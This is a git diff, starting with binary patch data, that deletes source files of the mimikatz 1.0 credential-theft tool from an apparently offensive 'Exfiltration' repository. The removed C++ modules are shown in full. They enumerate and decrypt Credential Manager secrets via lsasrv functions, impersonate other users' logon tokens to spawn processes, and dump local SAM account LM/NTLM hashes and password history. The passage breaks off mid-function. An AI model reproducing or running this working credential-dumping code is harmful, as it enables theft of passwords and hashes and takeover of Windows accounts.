zyUcuj-jOk+;*6Xt&RHUfGviJ8>aR^rD~Jr6z9m zf0Bd~I`ni3b0beot?}I8eU%DMFC>NU=>gKw%Q)tUE@N7(Oqb4QZZUScwdcR-hPF3< zsDWDB#q29@Y}AvA{iC(*7kJj`bLs{S54`YBZLZ%*i|DRCL8%S(OH!5ZbY2dwiGjq6e znd#@po1C81X`@^xJ*(E5=%Bq?r8=r2m#W}O^+Miqxk~Ok>SOX9@lFjrwq%#IS$j?t zQ}IgsIJ4ABk?v?Is9Q5)%-zOKnXluQ(z_;8@El*rM6@|w>uR7s5bt>h8>!Sn8Dkl7 z#q$l^kGj|GK;nFDMSTX}0`i=?nw|wwMXpvtZcns=vL|hrsiWpZRY^~a?7bba)u+BS zW3Hp0H$u0$@wJ|KYQBoM-=bTGV@#0*r|taB@WN;p(8=h}Ba2Zih$ zDfA9i4c{U7id|OeKlpxfzKwV3UbWEfPP~tLcYo^^n#%U|21m`4u2;+czn!11Upp~j Awg3PC diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.write.1.tlog deleted file mode 100644 index 9befde98572d5e3759c67e0f46f3f6a4efabe3f3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 398 zcmdUqO$x#=5Julx@F*?*?A)a#*kFyK)`}GGe+uyZR@oSW>f4>FsOW7>s3a i^u5U&ogO5;dH6zVwU#-vzxe&Av&@>+4=2TS@$v>E7CSfq diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.dll.intermediate.manifest b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.dll.intermediate.manifest deleted file mode 100644 index ecea6f7..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.dll.intermediate.manifest +++ /dev/null @@ -1,10 +0,0 @@ - - - - - - - - - - diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.lastbuildstate b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.lastbuildstate deleted file mode 100644 index 4d28193..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.lastbuildstate +++ /dev/null @@ -1,2 +0,0 @@ -#v4.0:v100 -Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\| diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.res b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.res deleted file mode 100644 index d0ba1ddfc6dda29ed2651d96364febb41f02022b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 752 zcmZ{i&q~8U5XQfh929!!8yLicUZgEOc=KRYilU-YkCJMwp*0Cjis)1I1$-mHH?aO@ z>(W2shS{CWeDlqpT}g_N*=#PTD{ETu{u-FT`Rb~M9yG1AP`kR(J^Qh)(K@=+1^*rP z6Lec2;n%lh@pBG;9y+fS@_Em%Ni}i@@Rb@XQK|uKiAL(foa#v#z)yk#)zv~C+}UH7 z4phZ{1m;D#V(@QN6Z6-1^rxID%*Ge#jPn%{f7`_QJZ(?~yp}(A=!_^^1)iZMct+?k z9FJHc_!B2XY^C0@(&CredIEnumerate), L"lsasrv", pattern, taille, offset, NULL, true, true); - } - return (searchLSAFuncs() && CredIEnumerate); -} - -__kextdll bool __cdecl getCredmanFunctions(mod_pipe * monPipe, vector * mesArguments) -{ - wostringstream monStream; - monStream << L"** lsasrv.dll ** ; Statut recherche : " << (searchCredmanFuncs() ? L"OK :)" : L"KO :(") << endl << endl << - L"@CredIEnumerate = " << CredIEnumerate << endl << - L"@LsaUnprotectMemory = " << SeckPkgFunctionTable->LsaUnprotectMemory << endl; - return sendTo(monPipe, monStream.str()); -} - -__kextdll bool __cdecl getCredman(mod_pipe * monPipe, vector * mesArguments) -{ - vector> monProvider; - monProvider.push_back(make_pair(getCredmanData, wstring(L"credman"))); - return getLogonData(monPipe, mesArguments, &monProvider); -} - -bool WINAPI getCredmanData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity) -{ - wostringstream message; - if(searchCredmanFuncs()) - { - DWORD credNb = 0; - PCREDENTIAL * pCredential = NULL; - DWORD CredIEnumerateFlags = (mod_system::GLOB_Version.dwMajorVersion < 6) ? 0 : CRED_ENUMERATE_ALL_CREDENTIALS; - NTSTATUS status = (mod_system::GLOB_Version.dwBuildNumber < 8000 ) ? CredIEnumerate(logId, 0, NULL, CredIEnumerateFlags, &credNb, &pCredential) : reinterpret_cast(CredIEnumerate)(logId, NULL, CredIEnumerateFlags, &credNb, &pCredential); - - if(NT_SUCCESS(status)) - { - for(DWORD i = 0; i < credNb; i++) - { - wstring Target(pCredential[i]->TargetName); - wstring ShortTarget = (mod_system::GLOB_Version.dwMajorVersion < 6) ? Target : Target.substr(Target.find_first_of(L'=') + 1); - - message << endl; - if(justSecurity) - message << L"\t [" << i << L"] " << Target << L'\t'; - else message << - L"\t * [" << i << L"] Target : " << Target << L" / " << (pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"") << endl << - L"\t * [" << i << L"] Comment : " << (pCredential[i]->Comment ? pCredential[i]->Comment : L"") << endl << - L"\t * [" << i << L"] User : " << (pCredential[i]->UserName ? pCredential[i]->UserName : L"") << endl; - - if((pCredential[i]->Type != CRED_TYPE_GENERIC) && (pCredential[i]->Type != CRED_TYPE_GENERIC_CERTIFICATE)) - { - CREDENTIAL_TARGET_INFORMATION mesInfos = {const_cast(ShortTarget.c_str()), NULL, NULL, NULL, NULL, NULL, NULL, pCredential[i]->Flags, 0 , NULL}; - DWORD dwNbCredentials; - PENCRYPTED_CREDENTIALW * pEncryptedCredential; - NTSTATUS status = SeckPkgFunctionTable->CrediReadDomainCredentials(logId, CREDP_FLAGS_IN_PROCESS, &mesInfos, 0, &dwNbCredentials, &pEncryptedCredential); - if(status == STATUS_INVALID_PARAMETER) - { - mesInfos.Flags |= CRED_TI_USERNAME_TARGET; - status = SeckPkgFunctionTable->CrediReadDomainCredentials(logId, CREDP_FLAGS_IN_PROCESS, &mesInfos, 0, &dwNbCredentials, &pEncryptedCredential); - } - if(NT_SUCCESS(status)) - { - for(DWORD j = 0; j < dwNbCredentials ; j++) - { - wostringstream prefix; prefix << L"[" << j << L"] "; - message << descEncryptedCredential(pEncryptedCredential[j], justSecurity, prefix.str()); - } - SeckPkgFunctionTable->CrediFreeCredentials(dwNbCredentials, pEncryptedCredential); - } - else message << L"Erreur CrediReadDomainCredentials : " << mod_system::getWinError(false, status); - } - else - { - PENCRYPTED_CREDENTIALW pEncryptedCredential; - NTSTATUS status = SeckPkgFunctionTable->CrediRead(logId, CREDP_FLAGS_IN_PROCESS, const_cast(ShortTarget.c_str()), pCredential[i]->Type, 0, &pEncryptedCredential); - if(NT_SUCCESS(status)) - { - message << descEncryptedCredential(pEncryptedCredential, justSecurity); - CredFree(pEncryptedCredential); - } - else message << L"Erreur CrediRead : " << mod_system::getWinError(false, status); - } - } - CredFree(pCredential); - } - else message << L"CredIEnumerate KO : " << mod_system::getWinError(false, status); - } else message << L"n.a. (credman KO)"; - return sendTo(monPipe, message.str()); -} - -wstring descEncryptedCredential(PENCRYPTED_CREDENTIALW pEncryptedCredential, __in bool justSecurity, wstring prefix) -{ - wostringstream monStream; - - LSA_UNICODE_STRING encryptedPassword = {pEncryptedCredential->Cred.CredentialBlobSize, pEncryptedCredential->Cred.CredentialBlobSize, reinterpret_cast(pEncryptedCredential->Cred.CredentialBlob)}; - wstring cred = getPasswordFromProtectedUnicodeString(&encryptedPassword); - - if(justSecurity) - monStream << L"- {" << pEncryptedCredential->Cred.UserName << L" ; " << cred << L" } "; - else monStream << - L"\t " << prefix << L"User : " << pEncryptedCredential->Cred.UserName << endl << - L"\t " << prefix << L"Cred : " << cred << endl; - - return monStream.str(); -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.h deleted file mode 100644 index 60d1249..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.h +++ /dev/null @@ -1,19 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "../sekurlsa.h" - -bool searchCredmanFuncs(); -__kextdll bool __cdecl getCredmanFunctions(mod_pipe * monPipe, vector * mesArguments); -__kextdll bool __cdecl getCredman(mod_pipe * monPipe, vector * mesArguments); -bool WINAPI getCredmanData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity); - -wstring descEncryptedCredential(PENCRYPTED_CREDENTIALW pEncryptedCredential, __in bool justSecurity, wstring prefix = L""); - -typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE) (IN PLUID pLUID, IN DWORD unk0, IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials); -typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE62) (IN PLUID pLUID, IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials); - diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.cpp deleted file mode 100644 index 7284da7..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.cpp +++ /dev/null @@ -1,88 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "incognito.h" - -bool searchIncognitoFuncs() -{ - return searchLSAFuncs(); -} - -__kextdll bool __cdecl find_tokens(mod_pipe * monPipe, vector * mesArguments) -{ - vector> monProvider; - monProvider.push_back(make_pair(getTokenData, wstring(L"token"))); - return getLogonData(monPipe, mesArguments, &monProvider); -} - -__kextdll bool __cdecl incognito(mod_pipe * monPipe, vector * mesArguments) -{ - wostringstream monStream; - if(searchIncognitoFuncs()) - { - if(!mesArguments->empty() && ((mesArguments->size() == 3) || (mesArguments->size() == 4))) - { - wstring idSecAppHigh = L"0", idSecAppLow = mesArguments->front(), session = mesArguments->at(1), maLigne = mesArguments->back(); - if(mesArguments->size() == 4) - { - idSecAppHigh = idSecAppLow; - idSecAppLow = mesArguments->at(1); - session = mesArguments->at(2); - } - LUID monLUID = mod_text::wstringsToLUID(idSecAppHigh, idSecAppLow); - DWORD maSession = _wtoi(session.c_str()); - HANDLE monToken; - monStream << L" * OpenTokenByLogonId({" << monLUID.LowPart << L";" << monLUID.HighPart << L"}) : "; - NTSTATUS status = SeckPkgFunctionTable->OpenTokenByLogonId(&monLUID, &monToken); - if(NT_SUCCESS(status)) - { - monStream << L"OK !" << endl << - L" * SetTokenInformation(TokenSessionId@" << maSession << L") : "; - if(SetTokenInformation(monToken, TokenSessionId, &maSession, sizeof(DWORD)) != 0) - { - monStream << L"OK !" << endl << - L" * CreateProcessAsUser(Token@{" << monLUID.LowPart << L";" << monLUID.HighPart << L"}, TokenSessionId@" << maSession << L", \"" << maLigne << L"\") : "; - PROCESS_INFORMATION mesInfosProcess; - if(mod_process::start(&maLigne, &mesInfosProcess, false, false, monToken)) - { - monStream << L"OK - pid = " << mesInfosProcess.dwProcessId << endl; - CloseHandle(mesInfosProcess.hThread); - CloseHandle(mesInfosProcess.hProcess); - } - else monStream << L"KO - " << mod_system::getWinError() << endl; - CloseHandle(monToken); - } - else monStream << L"KO - " << mod_system::getWinError() << endl; - } - else monStream << L"KO - " << mod_system::getWinError(false, status) << endl; - } - else monStream << L"Format d\'appel invalide : incognito [idSecAppHigh] idSecAppLow sessionDst ligneDeCommande" << endl; - } - return sendTo(monPipe, monStream.str()); -} - -bool WINAPI getTokenData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity) -{ - wostringstream monStream; - if(searchIncognitoFuncs()) - { - HANDLE monToken; - NTSTATUS status = SeckPkgFunctionTable->OpenTokenByLogonId(logId, &monToken); - if(NT_SUCCESS(status)) - { - monStream << L"Disponible !"; - DWORD maSession, tailleRetournee; - if(GetTokenInformation(monToken, TokenSessionId, &maSession, sizeof(DWORD), &tailleRetournee) != 0) - { - monStream << L" - session d\'origine " << maSession; - CloseHandle(monToken); - } - else monStream << L"Indisponible - SetTokenInformation KO : " << mod_system::getWinError() << endl; - } - else monStream << L"OpenTokenByLogonId KO : " << mod_system::getWinError(false, status) << endl; - } - return sendTo(monPipe, monStream.str()); -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.h deleted file mode 100644 index a8eae58..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.h +++ /dev/null @@ -1,13 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "../sekurlsa.h" - -bool searchIncognitoFuncs(); -__kextdll bool __cdecl find_tokens(mod_pipe * monPipe, vector * mesArguments); -__kextdll bool __cdecl incognito(mod_pipe * monPipe, vector * mesArguments); -bool WINAPI getTokenData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity); \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.cpp deleted file mode 100644 index 5555b58..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.cpp +++ /dev/null @@ -1,479 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "sam.h" - -PSAM_I_CONNECT SamIConnect = reinterpret_cast(NULL); -PSAM_R_OPEN_DOMAIN SamrOpenDomain = reinterpret_cast(NULL); -PSAM_R_OPEN_USER SamrOpenUser = reinterpret_cast(NULL); -PSAM_R_ENUMERATE_USERS_IN_DOMAIN SamrEnumerateUsersInDomain = reinterpret_cast(NULL); -PSAM_R_QUERY_INFORMATION_USER SamrQueryInformationUser = reinterpret_cast(NULL); -PSAM_I_FREE_SAMPR_USER_INFO_BUFFER SamIFree_SAMPR_USER_INFO_BUFFER = reinterpret_cast(NULL); -PSAM_I_FREE_SAMPR_ENUMERATION_BUFFER SamIFree_SAMPR_ENUMERATION_BUFFER = reinterpret_cast(NULL); -PSAM_R_CLOSE_HANDLE SamrCloseHandle = reinterpret_cast(NULL); -PSAM_I_GET_PRIVATE_DATA SamIGetPrivateData = reinterpret_cast(NULL); -PSYSTEM_FUNCTION_025 SystemFunction025 = reinterpret_cast(NULL); -PSYSTEM_FUNCTION_027 SystemFunction027 = reinterpret_cast(NULL); - -bool searchSAMFuncs() -{ - if(!(SamIConnect && - SamrOpenDomain && - SamrOpenUser && - SamrEnumerateUsersInDomain && - SamrQueryInformationUser && - SamIFree_SAMPR_USER_INFO_BUFFER && - SamIFree_SAMPR_ENUMERATION_BUFFER && - SamrCloseHandle && - SamIGetPrivateData && - SystemFunction025 && - SystemFunction027)) - { - HMODULE hSamsrv = GetModuleHandle(L"samsrv"); - HMODULE hAdvapi32 = GetModuleHandle(L"advapi32"); - - if(hSamsrv && hAdvapi32) - { - SamIConnect = reinterpret_cast(GetProcAddress(hSamsrv, "SamIConnect")); - SamrOpenDomain = reinterpret_cast(GetProcAddress(hSamsrv, "SamrOpenDomain")); - SamrOpenUser = reinterpret_cast(GetProcAddress(hSamsrv, "SamrOpenUser")); - SamrEnumerateUsersInDomain = reinterpret_cast(GetProcAddress(hSamsrv, "SamrEnumerateUsersInDomain")); - SamrQueryInformationUser = reinterpret_cast(GetProcAddress(hSamsrv, "SamrQueryInformationUser")); - SamIFree_SAMPR_USER_INFO_BUFFER = reinterpret_cast(GetProcAddress(hSamsrv, "SamIFree_SAMPR_USER_INFO_BUFFER")); - SamIFree_SAMPR_ENUMERATION_BUFFER = reinterpret_cast(GetProcAddress(hSamsrv, "SamIFree_SAMPR_ENUMERATION_BUFFER")); - SamrCloseHandle = reinterpret_cast(GetProcAddress(hSamsrv, "SamrCloseHandle")); - SamIGetPrivateData = reinterpret_cast(GetProcAddress(hSamsrv, "SamIGetPrivateData")); - SystemFunction025 = reinterpret_cast(GetProcAddress(hAdvapi32, "SystemFunction025")); - SystemFunction027 = reinterpret_cast(GetProcAddress(hAdvapi32, "SystemFunction027")); - } - return (SamIConnect && - SamrOpenDomain && - SamrOpenUser && - SamrEnumerateUsersInDomain && - SamrQueryInformationUser && - SamIFree_SAMPR_USER_INFO_BUFFER && - SamIFree_SAMPR_ENUMERATION_BUFFER && - SamrCloseHandle); - } - else return true; -} - -__kextdll bool __cdecl getSAMFunctions(mod_pipe * monPipe, vector * mesArguments) -{ - wostringstream monStream; - monStream << L"** samsrv.dll/advapi32.dll ** ; Statut recherche : " << (searchSAMFuncs() ? L"OK :)" : L"KO :(") << endl << endl << - L"@SamIConnect = " << SamIConnect << endl << - L"@SamrOpenDomain = " << SamrOpenDomain << endl << - L"@SamrOpenUser = " << SamrOpenUser << endl << - L"@SamrEnumerateUsersInDomain = " << SamrEnumerateUsersInDomain << endl << - L"@SamrQueryInformationUser = " << SamrQueryInformationUser << endl << - L"@SamIFree_SAMPR_USER_INFO_BUFFER = " << SamIFree_SAMPR_USER_INFO_BUFFER << endl << - L"@SamIFree_SAMPR_ENUMERATION_BUFFER = " << SamIFree_SAMPR_ENUMERATION_BUFFER << endl << - L"@SamrCloseHandle = " << SamrCloseHandle << endl << - L"@SamIGetPrivateData = " << SamIGetPrivateData << endl << - L"@SystemFunction025 = " << SystemFunction025 << endl << - L"@SystemFunction027 = " << SystemFunction027 << endl; - return sendTo(monPipe, monStream.str()); -} - -__kextdll bool __cdecl getLocalAccounts(mod_pipe * monPipe, vector * mesArguments) -{ - if(searchSAMFuncs()) - { - bool sendOk = true, history = true, isCSV = false; - USER_INFORMATION_CLASS monType = UserInternal1Information; - - if(!mesArguments->empty()) - { - isCSV = ((_wcsicmp(mesArguments->front().c_str(), L"/csv") == 0) || _wcsicmp(mesArguments->back().c_str(), L"/csv") == 0); - monType = (((_wcsicmp(mesArguments->front().c_str(), L"/full") == 0) || _wcsicmp(mesArguments->back().c_str(), L"/full") == 0) ? UserAllInformation : UserInternal1Information); - } - - LSA_HANDLE handlePolicy = NULL; - HSAM handleSam = NULL; - HDOMAIN handleDomain = NULL; - HUSER handleUser = NULL; - - LSA_OBJECT_ATTRIBUTES objectAttributes; - memset(&objectAttributes, NULL, sizeof(objectAttributes)); - PPOLICY_ACCOUNT_DOMAIN_INFO ptrPolicyDomainInfo; - - NTSTATUS retourEnum = 0; - PSAMPR_ENUMERATION_BUFFER ptrStructEnumUser = NULL; - DWORD EnumerationContext = 0; - DWORD EnumerationSize = 0; - - PSAMPR_USER_INFO_BUFFER ptrMesInfosUsers = NULL; - - if(NT_SUCCESS(LsaOpenPolicy(NULL, &objectAttributes, POLICY_ALL_ACCESS, &handlePolicy))) - { - if(NT_SUCCESS(LsaQueryInformationPolicy(handlePolicy, PolicyAccountDomainInformation, reinterpret_cast(&ptrPolicyDomainInfo)))) - { - if(NT_SUCCESS(SamIConnect(NULL, &handleSam, 1, SAM_SERVER_CONNECT))) - { - if(NT_SUCCESS(SamrOpenDomain(handleSam, DOMAIN_ALL_ACCESS, ptrPolicyDomainInfo->DomainSid, &handleDomain))) - { - wstring domainName = mod_text::stringOfSTRING(ptrPolicyDomainInfo->DomainName); - do - { - retourEnum = SamrEnumerateUsersInDomain(handleDomain, &EnumerationContext, NULL, &ptrStructEnumUser, 1000, &EnumerationSize); - if(NT_SUCCESS(retourEnum) || retourEnum == STATUS_MORE_ENTRIES) - { - for(DWORD numUser = 0; numUser < ptrStructEnumUser->EntriesRead && sendOk; numUser++) - { - wstring monUserName = mod_text::stringOfSTRING(ptrStructEnumUser->Buffer[numUser].Name); - ptrMesInfosUsers = NULL; - - if(NT_SUCCESS(SamrOpenUser(handleDomain, USER_ALL_ACCESS, ptrStructEnumUser->Buffer[numUser].RelativeId, &handleUser))) - { - if(NT_SUCCESS(SamrQueryInformationUser(handleUser, monType, &ptrMesInfosUsers))) - { - WUserAllInformation mesInfos = UserInformationsToStruct(monType, ptrMesInfosUsers); - mesInfos.UserId = ptrStructEnumUser->Buffer[numUser].RelativeId; - mesInfos.DomaineName = mod_text::stringOfSTRING(ptrPolicyDomainInfo->DomainName); - - if(mesInfos.UserName.empty()) - mesInfos.UserName = mod_text::stringOfSTRING(ptrStructEnumUser->Buffer[numUser].Name); - - sendOk = descrToPipeInformations(monPipe, monType, mesInfos, isCSV); - SamIFree_SAMPR_USER_INFO_BUFFER(ptrMesInfosUsers, monType); - } - - if(history && SamIGetPrivateData != NULL) - { - sendOk = descrUserHistoryToPipe(monPipe, ptrStructEnumUser->Buffer[numUser].RelativeId, monUserName, domainName, handleUser, monType, isCSV); - } - SamrCloseHandle(reinterpret_cast(&handleUser)); - } - else sendOk = sendTo(monPipe, L"Impossible d\'ouvrir l\'objet utilisateur\n"); - } - SamIFree_SAMPR_ENUMERATION_BUFFER(ptrStructEnumUser); - } - else sendOk = sendTo(monPipe, L"Echec dans l\'obtention de la liste des objets\n"); - - } while(retourEnum == STATUS_MORE_ENTRIES && sendOk); - SamrCloseHandle(reinterpret_cast(&handleDomain)); - } - else sendOk = sendTo(monPipe, L"Impossible d\'obtenir les information sur le domaine\n"); - SamrCloseHandle(reinterpret_cast(&handleSam)); - } - else sendOk = sendTo(monPipe, L"Impossible de se connecter à la base de sécurité du domaine\n"); - LsaFreeMemory(ptrPolicyDomainInfo); - } - else sendOk = sendTo(monPipe, L"Impossible d\'obtenir des informations sur la politique de sécurité\n"); - LsaClose(handlePolicy); - } - else sendOk = sendTo(monPipe, L"Impossible d\'ouvrir la politique de sécurité\n"); - - return sendOk; - } - else return getSAMFunctions(monPipe, mesArguments); -} - -bool descrToPipeInformations(mod_pipe * monPipe, USER_INFORMATION_CLASS type, WUserAllInformation & mesInfos, bool isCSV) -{ - wstringstream maReponse; - - switch(type) - { - case UserInternal1Information: - if(isCSV) - { - maReponse << - mesInfos.UserId << L";" << - mesInfos.UserName << L";" << - mesInfos.DomaineName << L";" << - mesInfos.LmOwfPassword << L";" << - mesInfos.NtOwfPassword << L";" - ; - } - else - { - maReponse << - L"ID : " << mesInfos.UserId << endl << - L"Nom : " << mesInfos.UserName << endl << - L"Domaine : " << mesInfos.DomaineName << endl << - L"Hash LM : " << mesInfos.LmOwfPassword << endl << - L"Hash NTLM : " << mesInfos.NtOwfPassword << endl - ; - } - break; - case UserAllInformation: - if(isCSV) - { - maReponse << - mesInfos.UserId << L';' << - mesInfos.UserName << L';' << - mesInfos.DomaineName << L';' << - protectMe(mesInfos.FullName) << L';' << - mesInfos.isActif << L';' << - mesInfos.isLocked << L';' << - mesInfos.TypeCompte << L';' << - protectMe(mesInfos.UserComment) << L';' << - protectMe(mesInfos.AdminComment) << L';' << - mesInfos.AccountExpires_strict << L';' << - protectMe(mesInfos.WorkStations) << L';' << - protectMe(mesInfos.HomeDirectory) << L';' << - protectMe(mesInfos.HomeDirectoryDrive) << L';' << - protectMe(mesInfos.ProfilePath) << L';' << - protectMe(mesInfos.ScriptPath) << L';' << - mesInfos.LogonCount << L';' << - mesInfos.BadPasswordCount << L';' << - mesInfos.LastLogon_strict << L';' << - mesInfos.LastLogoff_strict << L';' << - mesInfos.PasswordLastSet_strict << L';' << - mesInfos.isPasswordNotExpire << L';' << - mesInfos.isPasswordNotRequired << L';' << - mesInfos.isPasswordExpired << L';' << - mesInfos.PasswordCanChange_strict << L';' << - mesInfos.PasswordMustChange_strict << L';' << - mesInfos.LmOwfPassword << L';' << - mesInfos.NtOwfPassword << L';' - ; - } - else - { - maReponse << boolalpha << - L"Compte" << endl << - L"======" << endl << - L"ID : " << mesInfos.UserId << endl << - L"Nom : " << mesInfos.UserName << endl << - L"Domaine : " << mesInfos.DomaineName << endl << - L"Nom complet : " << mesInfos.FullName << endl << - L"Actif : " << mesInfos.isActif << endl << - L"Verouillé : " << mesInfos.isLocked << endl << - L"Type : " << mesInfos.TypeCompte << endl << - L"Commentaire utilisateur : " << mesInfos.UserComment << endl << - L"Commentaire admin : " << mesInfos.AdminComment << endl << - L"Expiration : " << mesInfos.AccountExpires << endl << - L"Station(s) : " << mesInfos.WorkStations << endl << - endl << - L"Chemins" << endl << - L"-------" << endl << - L"Répertoire de base : " << mesInfos.HomeDirectory << endl << - L"Lecteur de base : " << mesInfos.HomeDirectoryDrive << endl << - L"Profil : " << mesInfos.ProfilePath << endl << - L"Script de démarrage : " << mesInfos.ScriptPath << endl << - endl << - L"Connexions" << endl << - L"----------" << endl << - L"Nombre : " << mesInfos.LogonCount << endl << - L"Echecs : " << mesInfos.BadPasswordCount << endl << - L"Dernière connexion : " << mesInfos.LastLogon << endl << - L"Dernière déconnexion : " << mesInfos.LastLogoff << endl << - endl << - L"Mot de passe" << endl << - L"------------" << endl << - L"Dernier changement : " << mesInfos.PasswordLastSet << endl << - L"N\'expire pas : " << mesInfos.isPasswordNotExpire << endl << - L"Peut être vide : " << mesInfos.isPasswordNotRequired << endl << - L"Mot de passe expiré : " << mesInfos.isPasswordExpired << endl << - L"Possibilité changement : " << mesInfos.PasswordCanChange << endl << - L"Obligation changement : " << mesInfos.PasswordMustChange << endl << - endl << - L"Hashs" << endl << - L"-----" << endl << - L"Hash LM : " << mesInfos.LmOwfPassword << endl << - L"Hash NTLM : " << mesInfos.NtOwfPassword << endl << - endl - ; - } - break; - } - - maReponse << endl; - return sendTo(monPipe, maReponse.str()); -} - -WUserAllInformation UserInformationsToStruct(USER_INFORMATION_CLASS type, PSAMPR_USER_INFO_BUFFER & monPtr) -{ - WUserAllInformation mesInfos; - PSAMPR_USER_INTERNAL1_INFORMATION ptrPassword = NULL; - PSAMPR_USER_ALL_INFORMATION ptrAllInformations = NULL; - - switch(type) - { - case UserInternal1Information: - ptrPassword = reinterpret_cast(monPtr); - - mesInfos.LmPasswordPresent = ptrPassword->LmPasswordPresent != 0; - mesInfos.NtPasswordPresent = ptrPassword->NtPasswordPresent != 0; - - if(mesInfos.LmPasswordPresent) - mesInfos.LmOwfPassword = mod_text::stringOfHex(ptrPassword->EncryptedLmOwfPassword.data, sizeof(ptrPassword->EncryptedLmOwfPassword.data)); - if(mesInfos.NtPasswordPresent) - mesInfos.LmOwfPassword = mod_text::stringOfHex(ptrPassword->EncryptedNtOwfPassword.data, sizeof(ptrPassword->EncryptedNtOwfPassword.data)); - break; - - case UserAllInformation: - ptrAllInformations = reinterpret_cast(monPtr); - - mesInfos.UserId = ptrAllInformations->UserId; - mesInfos.UserName = mod_text::stringOfSTRING(ptrAllInformations->UserName); - mesInfos.FullName = mod_text::stringOfSTRING(ptrAllInformations->FullName); correctMe(mesInfos.FullName); - - mesInfos.isActif = (ptrAllInformations->UserAccountControl & USER_ACCOUNT_DISABLED) == 0; - mesInfos.isLocked = (ptrAllInformations->UserAccountControl & USER_ACCOUNT_AUTO_LOCKED) != 0; - - if(ptrAllInformations->UserAccountControl & USER_SERVER_TRUST_ACCOUNT) - mesInfos.TypeCompte.assign(L"Contrôleur de domaine"); - else if(ptrAllInformations->UserAccountControl & USER_WORKSTATION_TRUST_ACCOUNT) - mesInfos.TypeCompte.assign(L"Ordinateur"); - else if(ptrAllInformations->UserAccountControl & USER_NORMAL_ACCOUNT) - mesInfos.TypeCompte.assign(L"Utilisateur"); - else - mesInfos.TypeCompte.assign(L"Inconnu"); - - mesInfos.UserComment = mod_text::stringOfSTRING(ptrAllInformations->UserComment); correctMe(mesInfos.AdminComment); - mesInfos.AdminComment = mod_text::stringOfSTRING(ptrAllInformations->AdminComment); correctMe(mesInfos.AdminComment); - mesInfos.AccountExpires = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->AccountExpires); - mesInfos.AccountExpires_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->AccountExpires, true); - mesInfos.WorkStations = mod_text::stringOfSTRING(ptrAllInformations->WorkStations); - mesInfos.HomeDirectory = mod_text::stringOfSTRING(ptrAllInformations->HomeDirectory); correctMe(mesInfos.HomeDirectory); - mesInfos.HomeDirectoryDrive = mod_text::stringOfSTRING(ptrAllInformations->HomeDirectoryDrive); correctMe(mesInfos.HomeDirectoryDrive); - mesInfos.ProfilePath = mod_text::stringOfSTRING(ptrAllInformations->ProfilePath); correctMe(mesInfos.ProfilePath); - mesInfos.ScriptPath = mod_text::stringOfSTRING(ptrAllInformations->ScriptPath); correctMe(mesInfos.ScriptPath); - mesInfos.LogonCount = ptrAllInformations->LogonCount; - mesInfos.BadPasswordCount = ptrAllInformations->BadPasswordCount; - mesInfos.LastLogon = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogon); - mesInfos.LastLogon_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogon, true); - mesInfos.LastLogoff = 